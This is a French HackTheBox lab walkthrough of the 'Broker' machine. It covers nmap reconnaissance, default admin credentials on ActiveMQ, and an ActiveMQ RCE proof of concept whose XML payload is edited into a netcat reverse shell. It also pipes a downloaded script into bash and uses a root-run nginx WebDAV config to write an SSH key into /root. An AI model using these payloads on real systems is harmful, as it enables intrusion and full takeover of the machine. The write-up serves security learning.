HackTheBox Walkthrough - Broker¶
Nouvelle machine, on est parti !
Machine ciblée : Broker.
Répertoire : /home/kali/Broker
Temps passé dessus : 4h30
Changelog du template¶
Version 1.0 - Sep. 2022 : création du template de base
Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base
Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe
Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit
Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.
Version 1.5 - Nov. 2023 : Déplacement des fichiers dans un dossiers « machines » pour pas pourrir mon /home.
Pour la version 1.6 : Gérer le montage de VPN. [if Tun0 existe and IP ~=~ 10.0.0.X] Rien, sinon lancer le vpn.
Phase 1 : Reconnaissance¶
┌──(kali㉿kali)-[~]
└─$
name="Broker"
repository="/home/kali/machines/$name"
ip="10.10.11.243"
domain='htb'
cd $repository 2&>/dev/null || mkdir -p $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts
nmap -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable
┌──(kali㉿kali)-[~/machines/Broker]
└─$ nmap -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-29 13:49 CET
Nmap scan report for Broker (10.10.11.243)
Host is up (0.055s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
┌──(kali㉿kali)-[~/machines/Broker]
└─$ nmap -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-29 14:18 CET
Nmap scan report for Broker (10.10.11.243)
Host is up (0.021s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
1883/tcp open mqtt
| mqtt-subscribe:
| Topics and their most recent payloads:
| ActiveMQ/Advisory/MasterBroker:
|_ ActiveMQ/Advisory/Consumer/Topic/#:
5672/tcp open amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
|_ 7Connection from client using unsupported AMQP attempted
8161/tcp open http Jetty 9.4.39.v20210325
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Jetty(9.4.39.v20210325)
46459/tcp open tcpwrapped
61613/tcp open stomp Apache ActiveMQ
| fingerprint-strings:
| HELP4STOMP:
| ERROR
| content-type:text/plain
| message:Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
| org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
| org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
| org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
| org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_ java.lang.Thread.run(Thread.java:750)
61614/tcp open http Jetty 9.4.39.v20210325
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-vuln-cve2013-7091: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to debug)
61616/tcp open apachemq ActiveMQ OpenWire transport
| fingerprint-strings:
| NULL:
| ActiveMQ
| TcpNoDelayEnabled
| SizePrefixDisabled
| CacheSize
| ProviderName
| ActiveMQ
| StackTraceEnabled
| PlatformDetails
| Java
| CacheEnabled
| TightEncodingEnabled
| MaxFrameSize
| MaxInactivityDuration
| MaxInactivityDurationInitalDelay
| ProviderVersion
|_ 5.15.15
Bon, comme souvent, un ssh et un serveur web. Particularité cette fois-ci, on voit que le serveur web retourne un 401 et nous précise que c’est un ActiveMQ. Voyons tout ça.
Phase 2 : Analyse¶
Première recherche : quel pourrait être le mot de passe par défaut ? Réponse admin/admin.
![broker.d/admin.png]
Bon, on a un premier pied dedans. En fouillant un peu le site, on trouve rien de bien folichon. On a la version de ActiveMQ : 5.15.15. Peut-être y-a-t-il quelque chose d’intéresasnt là dessus ? On dirait bien, un CVSS 3 à 9,8 c’est pas rien …
Phase 3 : User¶
** Note**: j’ai vite trouver un site de prio-n. Mais j’ai pas trop aimer me servir de ce site car il est basé sur la machine Broker de HTB … Donc celle que je fais. Ça veut dire que normalement, j’aurai pas pu trouver ce lien si je l’avais fait Day One. J’ai donc continué sans une fois l”exploit trouvé. Mais on le trouve également avec une Dorks.
On connait donc notre CVE, on a trouvé notre POC, maintenant adaptons-le. En lisant le readme (l’anglais, pas le chinois), on comprends qu’il faut indiquer l’adresse, le port et un fichier xml qui fait office de payload. En regardant le XML, on apprends que les chinois sont cools, ils font ouvrir des calculatrices, mais laissent en commentaire la synthaxe pour créer un fichier. On a plus qu’à l’adapté à notre reverseshell préféré.
┌──(kali㉿kali)-[~/machines/Broker]
└─$ git clone https://github.com/X1r0z/ActiveMQ-RCE.git
Cloning into 'ActiveMQ-RCE'...
┌──(kali㉿kali)-[~/machines/Broker]
└─$ cd ActiveMQ-RCE
┌──(kali㉿kali)-[~/machines/Broker/ActiveMQ-RCE]
└─$ cat poc.xml
┌──(kali㉿kali)-[~/machines/Broker/ActiveMQ-RCE]
└─$ vi ./poc.xml
# A la place du Touch, écrire ça :
<value>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.42 3333 >/tmp/f</value>
┌──(kali㉿kali)-[~/machines/Broker/ActiveMQ-RCE]
└─$ go build ./main.go
┌──(kali㉿kali)-[~/machines/Broker/ActiveMQ-RCE]
└─$ python -m http.server &
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌──(kali㉿kali)-[~/machines/Broker]
└─$ while true ; do rlwrap -cAr nc -lvnp 3333;done
┌──(kali㉿kali)-[~/machines/Broker/ActiveMQ-RCE]
└─$ ./main -i $name.$domain -u http://10.10.14.42:8000/poc.xml
connect to [10.10.14.42] from (UNKNOWN) [10.10.11.243] 39174
activemq@broker:/opt/apache-activemq-5.15.15/bin$ cd
activemq@broker:~$ cat user.txt
0711d49f69df0fd507bd9348368d2eb9
On est bien lancé, on va continuer !
Phase 4 : Élévation de privilège¶
Continuons avec les classiques : Linpeas.
┌──(kali㉿kali)-[~/Tools]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
activemq@broker:~$ curl http://10.10.14.42:8000/linpeas.sh|bash
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
Ok, donc on peut lancer nginx en tant que root. J’ai cherché sur internet, et suis tombé sur cette CVE. Pour la faire fonctionner, il faut être www-data, seulement je ne le suis pas. Quand j’ai cherché à avoir des pistes (vu que c’est une machine retired, c’est plus simple) ; ça me parlait de Zimbra. J’ai ragequit et ouvert le writeup… Et la solution est beaucoup plus simple que ça.
Comme on peut lancer un serveur web, on peut très bien uploader des fichiers.
Et comme on peut lancer ce serveur web en tant que root, ces fichiers appartiendrons à root.
Il suffit juste d’upload un fichier assez intéressant pour obtenir une connexion. Par exemple un fichier shadow ou encore une clé ssh !
Pour pouvoir upload des fichiers, il faut en théorie le module DAV. Heureusement que notre serveur nginx a été téléchargé avecapt, ce dernier embarque par défaut le module DAV.
activemq@broker:~$ echo 'user www-data;
worker_processes auto;
pid /run/nginx-h.pid;
events {
worker_connections 768;
}
http {
sendfile on;
include /etc/nginx/mime.types;
access_log /dev/null;
error_log /dev/null;
server {
listen 4444;
server_name hacked_do_not_follow.broker.htb;
autoindex on;
root /root;
dav_methods PUT DELETE MKCOL COPY MOVE;
create_full_put_path on;
}
}
'> /tmp/ng.h.cfg
activemq@broker:/tmp$ sudo nginx -c /tmp/ng.h.cfg
┌──(kali㉿kali)-[~/machine/Broker]
└─$ curl -T ~/.ssh/id_ecdsa.pub http://Broker.htb:4444/.ssh/authorized_keys
┌──(kali㉿kali)-[~/machine/Broker]
└─$ ssh -i ~/.ssh/id_ecdsa root@$ip
root@broker:~# cat ./root.txt
bb82d098578a73d91b86b27a67412913
Bon. Je l’ai laissé parce que je suis resté 1H30 dessus. Tu vois la première ligne ? Celle qui s’est glissée dans ma tête naturellement en disant “tu vas quand même pas run ton process en root enculé ?”. BON. on va la faire passer à root. Et je vais pas l’écrire, parce que comme ça, si t’es pas attentif, tu vas perdre ton temps toi aussi à te boufer du 403 !
Récapitulatif¶
Pour une fois que je ne lançais pas mon scan full comme je le fais toujours, il m’aurait servi … Bref, je l’ai fait après coût quand je lisais une explication de la CVE sur le site de Prio-n.
J’aime bien l’idée de faire un serveur web à partir de NGINX, par contre j’ai luté comme un connard pour la PE à cause d’erreurs chelou. Entre le user: www-data; et (je pense) des droits non conforme sur le fichier /root/.ssh/authorized_keys; j’ai perdu bien deux heures à tourner en rond. Bref, la box était intéressante.
A retenir¶
Un serveur web, c’est bien, mais ça peut faire aussi très mal si lancé en root !